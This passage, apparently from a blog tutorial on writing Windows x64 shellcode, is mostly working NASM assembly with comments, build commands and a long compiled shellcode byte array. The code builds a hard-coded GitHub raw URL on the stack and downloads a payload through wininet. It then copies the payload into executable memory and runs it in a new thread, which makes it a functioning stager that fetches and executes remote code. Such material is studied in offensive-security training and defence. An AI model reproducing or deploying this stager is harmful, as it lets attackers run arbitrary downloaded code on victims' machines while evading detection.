    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rsp</span>                    <span class="c1">; RDX points to "InternetOpenA" (second argument)</span>
    <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x30</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">+</span> <span class="mi">11</span><span class="o">*</span><span class="mi">8</span><span class="p">]</span>
    <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nb">rax</span>                   <span class="c1">; save GetProcAddress for later</span>
    <span class="nf">call</span> <span class="nb">rax</span>                       <span class="c1">; Call GetProcAddress</span>
    <span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x30</span>
    <span class="nf">mov</span> <span class="nv">r15</span><span class="p">,</span> <span class="nb">rax</span>                    <span class="c1">; store InternetOpenA    </span>

<span class="c1">;****************************************************************</span>
<span class="c1">; store the wininet address and internetopenA in rdi and r15 registers, respectively</span>
<span class="c1">;rdi = wininet.dll</span>
<span class="c1">;r15 = InternetOpenA</span>
<span class="c1">;****************************************************************</span>
</code></pre></div></div>

<p>The remainder of the code I’m just going to paste here and let you walk through it as your homework assignment 😸 It’s a lot to explain and I’d prefer to stick with my video series to cover the remainder of code versus typing out the explanation for each aspect of the remaining code.  I do still offer up some light comments throughout:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">;Prepare arguments for GetProcAddress to locate InternetOpenUrlA</span>
    <span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rdi</span>                    <span class="c1">; RCX = handle to wininet.dll (first argument)</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x416C72556E65704F</span>         <span class="c1">; Load "OpenUrlA" into RAX</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x74656E7265746E49</span>     <span class="c1">; Load "Internet" into RAX                  </span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rsp</span>                    <span class="c1">; RDX points to "InternetOpenUrlA" (second argument)</span>
    <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x38</span>
    <span class="nf">call</span> <span class="nb">rsi</span>              <span class="c1">; Call GetProcAddress</span>
    <span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x30</span>
    <span class="nf">mov</span> <span class="nv">r14</span><span class="p">,</span> <span class="nb">rax</span>                    <span class="c1">; store InternetOpenUrlA    </span>

<span class="c1">; Prepare arguments for GetProcAddress to locate InternetReadFile</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rdi</span>                    <span class="c1">; RCX = handle to wininet.dll (first argument)</span>
    <span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span> 
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x656C694664616552</span>         <span class="c1">; Load "ReadFile" into RAX</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x74656E7265746E49</span>     <span class="c1">; Load "Internet" into RAX                  </span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rsp</span>                    <span class="c1">; RDX points to "InternetReadFile" (second argument)</span>
    <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x38</span>
    <span class="nf">call</span> <span class="nb">rsi</span>                        <span class="c1">; Call GetProcAddress</span>
    <span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x30</span>
    <span class="nf">mov</span> <span class="nv">r13</span><span class="p">,</span> <span class="nb">rax</span>                    <span class="c1">; store InternetReadFile    </span>

<span class="c1">; Prepare arguments for GetProcAddress to locate InternetCloseHandle</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rdi</span>                    <span class="c1">; RCX = handle to wininet.dll (first argument)</span>
    <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x90656C64</span>
    <span class="nf">shl</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x8</span>
    <span class="nf">shr</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x8</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x6E614865736F6C43</span>         <span class="c1">; Load "CloseHan" into RAX</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x74656E7265746E49</span>     <span class="c1">; Load "Internet" into RAX                  </span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rsp</span>                    <span class="c1">; RDX points to "InternetCloseHandle" (second argument)</span>
    <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x38</span>
    <span class="nf">call</span> <span class="nb">rsi</span>              <span class="c1">; Call GetProcAddress</span>
    <span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x30</span>
    <span class="nf">mov</span> <span class="nv">r12</span><span class="p">,</span> <span class="nb">rax</span>                    <span class="c1">; store InternetCloseHandle    </span>

<span class="c1">; ---- InternetOpenA ----</span>
    <span class="nf">xor</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rdx</span>
    <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x90302E35</span>
    <span class="nf">shl</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x8</span>
    <span class="nf">shr</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x8</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x2F616C6C697A6F4D</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rsp</span>             <span class="c1">; lpszAgent</span>
    <span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span> <span class="mi">1</span>               <span class="c1">; INTERNET_OPEN_TYPE_DIRECT</span>
    <span class="nf">xor</span> <span class="nv">r8</span><span class="p">,</span> <span class="nv">r8</span>               <span class="c1">; lpszProxy</span>
    <span class="nf">xor</span> <span class="nv">r9</span><span class="p">,</span> <span class="nv">r9</span>               <span class="c1">; lpszProxyBypass</span>
    <span class="nf">mov</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x20</span><span class="p">],</span> <span class="mi">0</span>  <span class="c1">; dwFlags</span>
    <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x30</span>
    <span class="nf">call</span> <span class="nv">r15</span>                 <span class="c1">; InternetOpenA</span>
    <span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x30</span>
    <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rax</span>                 <span class="c1">; hInternet saved handle</span>

<span class="c1">; ---- Allocate memory for the saved file/buffer ----</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="mi">0</span>                    <span class="c1">; LPVOID lpAddress = NULL</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mh">0x5000</span>               <span class="c1">; SIZE_T dwSize = 20 KB for shellcode</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="mh">0x3000</span>               <span class="c1">; MEM_COMMIT | MEM_RESERVE</span>
    <span class="nf">mov</span> <span class="nb">r9d</span><span class="p">,</span> <span class="mh">0x04</span>                 <span class="c1">; PAGE_READWRITE temporarily</span>
    <span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">96</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mi">80</span><span class="p">]</span>
    <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nb">rax</span>                  <span class="c1">; save to call again :)</span>
    <span class="nf">call</span> <span class="nb">rax</span>
    <span class="c1">;sub rsp, 96</span>
    <span class="c1">;sub rsp, 8</span>
    <span class="nf">pop</span> <span class="nv">r15</span>        <span class="c1">; buffer memory address for downloaded file/shellcode</span>

<span class="c1">; --- Allocate memory for the long ass URL because other ways didn't work --- </span>

    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="mi">0</span>                    <span class="c1">; LPVOID lpAddress = NULL</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mh">0x100</span>               <span class="c1">; SIZE_T dwSize = 100 for URL</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="mh">0x3000</span>               <span class="c1">; MEM_COMMIT | MEM_RESERVE</span>
    <span class="nf">mov</span> <span class="nb">r9d</span><span class="p">,</span> <span class="mh">0x04</span>                 <span class="c1">; PAGE_READWRITE temporarily</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rsi</span>                  <span class="c1">; save to call again :)</span>
    <span class="nf">call</span> <span class="nb">rax</span>
    <span class="nf">push</span> <span class="nb">rax</span>

    <span class="nf">mov</span> <span class="nv">r9</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mi">72</span><span class="p">]</span>              <span class="c1">;rtlmovememory</span>



    <span class="nf">pop</span> <span class="nb">rsi</span>                      <span class="c1">;memory address for the long GITHUB url</span>
<span class="c1">; --- transfer URL to new memory region for easier management ---</span>
    <span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">152</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x906F6E79642E6765</span>
    <span class="nf">shl</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x8</span>
    <span class="nf">shr</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x8</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x722F6E69616D2F73</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x646165682F736665</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x722F7761722F7261</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x6461726568747265</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x646E752F6D337473</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x79737433672F6D6F</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x632E627568746967</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x2F2F3a7370747468</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nv">r8</span><span class="p">,</span><span class="nb">rsp</span>

<span class="c1">;rtlmovememory</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rsi</span> <span class="c1">; address for new memory region</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">r8</span>               <span class="c1">; source</span>
    <span class="nf">xor</span> <span class="nv">r8</span><span class="p">,</span> <span class="nv">r8</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="mi">71</span>                      <span class="c1">; size</span>
    <span class="c1">;call RtlMoveMemory</span>
    <span class="nf">call</span> <span class="nv">r9</span>

   <span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">88</span>

 <span class="c1">; ---- InternetOpenUrlA ----</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rdi</span>                     <span class="c1">; hInternet</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rsi</span>                 <span class="c1">; lpszUrl</span>
    <span class="nf">xor</span> <span class="nb">r8d</span><span class="p">,</span> <span class="nb">r8d</span>                       <span class="c1">; lpszHeaders</span>
    <span class="nf">xor</span> <span class="nb">r9d</span><span class="p">,</span> <span class="nb">r9d</span>                       <span class="c1">; dwHeadersLength</span>
    <span class="nf">mov</span> <span class="kt">dword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x20</span><span class="p">],</span> <span class="mh">0x4000000</span>    <span class="c1">; dwFlags</span>
    <span class="nf">mov</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x28</span><span class="p">],</span><span class="mi">0</span>             <span class="c1">; dwContext</span>
    <span class="nf">call</span> <span class="nv">r14</span>
    <span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x28</span>
    <span class="nf">push</span> <span class="nb">rax</span>                       <span class="c1">; hUrl</span>
    <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span><span class="p">]</span>                 <span class="c1">; hUrl handle for closing</span>

<span class="nf">xor</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rbx</span>
<span class="nl">read_loop:</span>
    <span class="c1">; ---- InternetReadFile ----</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span><span class="p">]</span>                   <span class="c1">; HINTERNET hUrl</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="p">[</span><span class="nv">r15</span><span class="o">+</span><span class="nb">rbx</span><span class="p">]</span>                  <span class="c1">; LPVOID lpBuffer</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="mi">4096</span>                     <span class="c1">; DWORD dwNumberOfBytesToRead</span>
    <span class="nf">lea</span> <span class="nv">r9</span><span class="p">,</span> <span class="kt">dword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x40</span><span class="p">]</span>               <span class="c1">; LPDWORD lpdwNumberOfBytesRead</span>
    <span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>
    <span class="nf">call</span> <span class="nv">r13</span>
    <span class="nf">test</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span>                    <span class="c1">; Check if InternetReadFile succeeded</span>
    <span class="nf">je</span> <span class="nv">read_done</span>
    
    <span class="nf">mov</span> <span class="nb">ecx</span><span class="p">,</span> <span class="kt">dword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x40</span><span class="p">]</span>        <span class="c1">; Bytes read THIS iteration</span>
    <span class="nf">test</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">ecx</span>                    <span class="c1">; Check if 0 bytes (EOF)</span>
    <span class="nf">jz</span> <span class="nv">read_done</span>
    
    <span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rcx</span>                     <span class="c1">; Accumulate total bytes</span>
    <span class="nf">jmp</span> <span class="nv">read_loop</span>
    
<span class="nl">read_done:</span>
    <span class="nf">mov</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">-</span><span class="mh">0x50</span><span class="p">],</span> <span class="nb">ebx</span>              <span class="c1">; Store total bytes downloaded</span>
<span class="c1">; ---- Close handles ----</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rsi</span> <span class="c1">;hUrl</span>
    <span class="nf">call</span> <span class="nv">r12</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rdi</span> <span class="c1">;hInternet</span>
    <span class="nf">call</span> <span class="nv">r12</span>

<span class="c1">; ---- Allocate memory ----</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="mi">0</span>                    <span class="c1">; LPVOID lpAddress = NULL</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mh">0x5000</span>               <span class="c1">; SIZE_T dwSize = 20 KB for shellcode</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span> <span class="mh">0x3000</span>               <span class="c1">; MEM_COMMIT | MEM_RESERVE</span>
    <span class="nf">mov</span> <span class="nb">r9d</span><span class="p">,</span> <span class="mh">0x40</span>                 <span class="c1">; PAGE_READWRITE_EXECUTE</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">+</span> <span class="mi">22</span><span class="o">*</span><span class="mi">8</span><span class="p">]</span>
    <span class="nf">call</span> <span class="nb">rax</span>
    <span class="nf">push</span> <span class="nb">rax</span>

<span class="c1">; ---- Copy shellcode ----</span>
    <span class="c1">; Normally use memcpy(mem_buffer, chunk, bytesRead) or multiple chunks</span>
    <span class="c1">; Example: single chunk</span>
    <span class="nf">pop</span> <span class="nb">rcx</span>                      <span class="c1">; destination</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">r15</span>                 <span class="c1">; source</span>
    <span class="nf">mov</span> <span class="nb">r8d</span><span class="p">,</span>  <span class="kt">dword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">-</span><span class="mh">0x10</span><span class="p">]</span>                  <span class="c1">; size</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">+</span> <span class="mi">21</span><span class="o">*</span><span class="mi">8</span><span class="p">]</span>
    <span class="nf">call</span> <span class="nb">rax</span>                     <span class="c1">;RtlMoveMemory</span>
    <span class="nf">push</span> <span class="nb">rax</span>
    <span class="c1">; ---- Create thread ----</span>
   <span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                <span class="c1">; lpThreadAttributes = NULL</span>
   <span class="nf">xor</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nb">rdx</span>                <span class="c1">; dwStackSize = 0</span>
   <span class="nf">pop</span> <span class="nv">r8</span>                 <span class="c1">; rsi (example) holds shellcode pointer</span>
   <span class="nf">xor</span> <span class="nv">r9</span><span class="p">,</span> <span class="nv">r9</span>                  <span class="c1">; lpParameter = NULL</span>
   <span class="nf">mov</span> <span class="kt">dword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x20</span><span class="p">],</span> <span class="mi">0</span>      <span class="c1">; dwCreationFlags = 0</span>
   <span class="nf">mov</span> <span class="kt">qword</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x28</span><span class="p">],</span> <span class="mi">0</span>      <span class="c1">; lpThreadId = NULL</span>
   <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mh">0x88</span><span class="p">]</span>          <span class="c1">; rax = pointer to CreateThread</span>
   <span class="nf">call</span> <span class="nb">rax</span>

    <span class="c1">; ---- Wait for shellcode ----</span>
    <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rax</span>
    <span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mh">0xFFFFFFFF</span>            <span class="c1">; INFINITE</span>
    <span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span><span class="o">+</span><span class="mi">25</span><span class="o">*</span><span class="mi">8</span><span class="p">]</span>
    <span class="nf">call</span> <span class="nb">rbx</span>
   <span class="c1">; mov rcx, [rel hThread]</span>
   <span class="c1">; call CloseHandle</span>

    <span class="c1">; ---- Free memory ----</span>
   <span class="c1">; mov rcx, [rel mem_buffer]</span>
   <span class="c1">; mov rdx, 0</span>
   <span class="c1">; mov r8d, 0x8000                ; MEM_RELEASE</span>
   <span class="c1">; call VirtualFree</span>

    <span class="c1">; Exit</span>
    <span class="nf">xor</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nb">ecx</span>
    <span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">+</span> <span class="mi">18</span><span class="o">*</span><span class="mi">8</span><span class="p">]</span>
    <span class="nf">call</span> <span class="nb">rax</span>
</code></pre></div></div>

<p>After you’ve successfully completed coding all of that glorious x64 assembly code, it’s time to compile it and get your shellcode.  Go ahead and do that and you should be presented with the following shellcode. Here’s how I usually generate shellcode:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">nasm</span> <span class="o">-</span><span class="nv">fwin64</span> <span class="nv">picshellcode.asm</span> <span class="o">-</span><span class="nv">o</span> <span class="nv">picshellcode.o</span>
<span class="nf">for</span> <span class="nv">i</span> <span class="nv">in</span> <span class="kc">$</span><span class="p">(</span><span class="nv">objdump</span> <span class="o">-</span><span class="nv">D</span> <span class="nv">picshellcode.o</span> <span class="o">|</span> <span class="nv">grep</span> <span class="err">“</span><span class="o">^</span> <span class="err">“</span> <span class="o">|</span> <span class="nv">cut</span> <span class="o">-</span><span class="nv">f2</span><span class="p">)</span><span class="c1">; do echo -n “\x$i” ; done</span>
</code></pre></div></div>

<p>Here’s what I got.  I formatted mine for a more aesthetically pleasing presentation 😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span>
<span class="s">"</span><span class="se">\x90\x90\x90\x90\x90\x90\x90\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x89\xdd\x4c\x89\xd1\x67\xe3\x0e\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x48\xff\xc9\xeb\x1e\xeb\x7f\xff\xc1\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x45\x8b\x3c\x8b\x4d\x01</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xc7\x41\x57\x4d\x89\xeb\xff\xc9\xeb\xd1\x31\xc0\x48\x89\xde\x48\x31\xdb\x8a\x1e\x84\xdb\x74\x0a\xc1</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xc0\x05\x31\xd8\x48\xff\xc6\xeb\xf0\x3d\x35\x8d\x77\x80\x74\xc5\x3d\xca\x5a\x15\x4a\x74\xbe\x3d\x78</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x95\xb7\x85\x74\xb7\x3d\x33\x8a\x8d\xb6\x74\xb0\x3d\x95\xfe\xde\xc7\x74\xa9\x3d\x1b\x01\xa1\xa4\x74</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xa2\x3d\x93\xb6\x36\xe5\x74\x9b\x3d\xa7\x70\xdb\xe3\x74\x94\x3d\xfd\x5a\xfc\xce\x74\x8d\x3d\x64\x71</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x27\xd7\x74\x86\xe9\x6e\xff\xff\xff\x48\xb8\x77\x69\x6e\x69\x6e\x65\x74\x90\x48\xc1\xe0\x08\x48\xc1</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xe8\x08\x50\x48\x89\xe1\x48\x83\xec\x28\x48\x8b\x44\x24\x50\xff\xd0\x48\x83\xc4\x30\x48\x89\xc7\x48</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x89\xf9\x48\xb8\x4f\x70\x65\x6e\x41\x90\x90\x90\x48\xc1\xe0\x18\x48\xc1\xe8\x18\x50\x48\xb8\x49\x6e</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x74\x65\x72\x6e\x65\x74\x50\x48\x89\xe2\x48\x83\xec\x30\x48\x8b\x44\x24\x58\x48\x89\xc6\xff\xd0\x48</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x83\xc4\x30\x49\x89\xc7\x48\x31\xc0\x50\x48\x89\xf9\x48\xb8\x4f\x70\x65\x6e\x55\x72\x6c\x41\x50\x48</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xb8\x49\x6e\x74\x65\x72\x6e\x65\x74\x50\x48\x89\xe2\x48\x83\xec\x38\xff\xd6\x48\x83\xc4\x30\x49\x89</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xc6\x48\x89\xf9\x48\x31\xc0\x50\x48\xb8\x52\x65\x61\x64\x46\x69\x6c\x65\x50\x48\xb8\x49\x6e\x74\x65</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x72\x6e\x65\x74\x50\x48\x89\xe2\x48\x83\xec\x38\xff\xd6\x48\x83\xc4\x30\x49\x89\xc5\x48\x89\xf9\xb8</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x64\x6c\x65\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x43\x6c\x6f\x73\x65\x48\x61\x6e\x50\x48\xb8\x49</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x6e\x74\x65\x72\x6e\x65\x74\x50\x48\x89\xe2\x48\x83\xec\x38\xff\xd6\x48\x83\xc4\x30\x49\x89\xc4\x48</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x31\xd2\xb8\x35\x2e\x30\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x50</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x48\x89\xe1\xba\x01\x00\x00\x00\x4d\x31\xc0\x4d\x31\xc9\x48\xc7\x44\x24\x20\x00\x00\x00\x00\x48\x83</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x48\x89\xc7\xb9\x00\x00\x00\x00\xba\x00\x50\x00\x00\x41\xb8\x00</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x30\x00\x00\x41\xb9\x04\x00\x00\x00\x48\x83\xc4\x60\x48\x8b\x44\x24\x50\x48\x89\xc6\xff\xd0\x41\x5f</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xb9\x00\x00\x00\x00\xba\x00\x01\x00\x00\x41\xb8\x00\x30\x00\x00\x41\xb9\x04\x00\x00\x00\x48\x89\xf0</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xff\xd0\x50\x4c\x8b\x4c\x24\x48\x5e\x48\x81\xec\x98\x00\x00\x00\x48\xb8\x65\x67\x2e\x64\x79\x6e\x6f</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x90\x48\xc1\xe0\x08\x48\xc1\xe8\x08\x50\x48\xb8\x73\x2f\x6d\x61\x69\x6e\x2f\x72\x50\x48\xb8\x65\x66</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x73\x2f\x68\x65\x61\x64\x50\x48\xb8\x61\x72\x2f\x72\x61\x77\x2f\x72\x50\x48\xb8\x65\x72\x74\x68\x65</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x72\x61\x64\x50\x48\xb8\x73\x74\x33\x6d\x2f\x75\x6e\x64\x50\x48\xb8\x6f\x6d\x2f\x67\x33\x74\x73\x79</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x50\x48\xb8\x67\x69\x74\x68\x75\x62\x2e\x63\x50\x48\xb8\x68\x74\x74\x70\x73\x3a\x2f\x2f\x50\x49\x89</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xe0\x48\x89\xf1\x4c\x89\xc2\x4d\x31\xc0\x41\xb8\x47\x00\x00\x00\x41\xff\xd1\x48\x83\xc4\x58\x48\x89</span><span class="s">"</span>
<span class="s">"</span><span class="se">\xf9\x48\x89\xf2\x45\x31\xc0\x45\x31\xc9\xc7\x44\x24\x20\x00\x00\x00\x04\x48\xc7\x44\x24\x28\x00\x00</span><span class="s">"</span>
<span class="s">"</span><span class="se">\x00\x00\x41\xff\xd6\x48\x83\xc4\x28\x50\x48\x8b\x34\x24\x48\x8b\x0c\x24\x4c\x89\xfa\x41\xb8\x00\x10</span><span class="s">"</span>
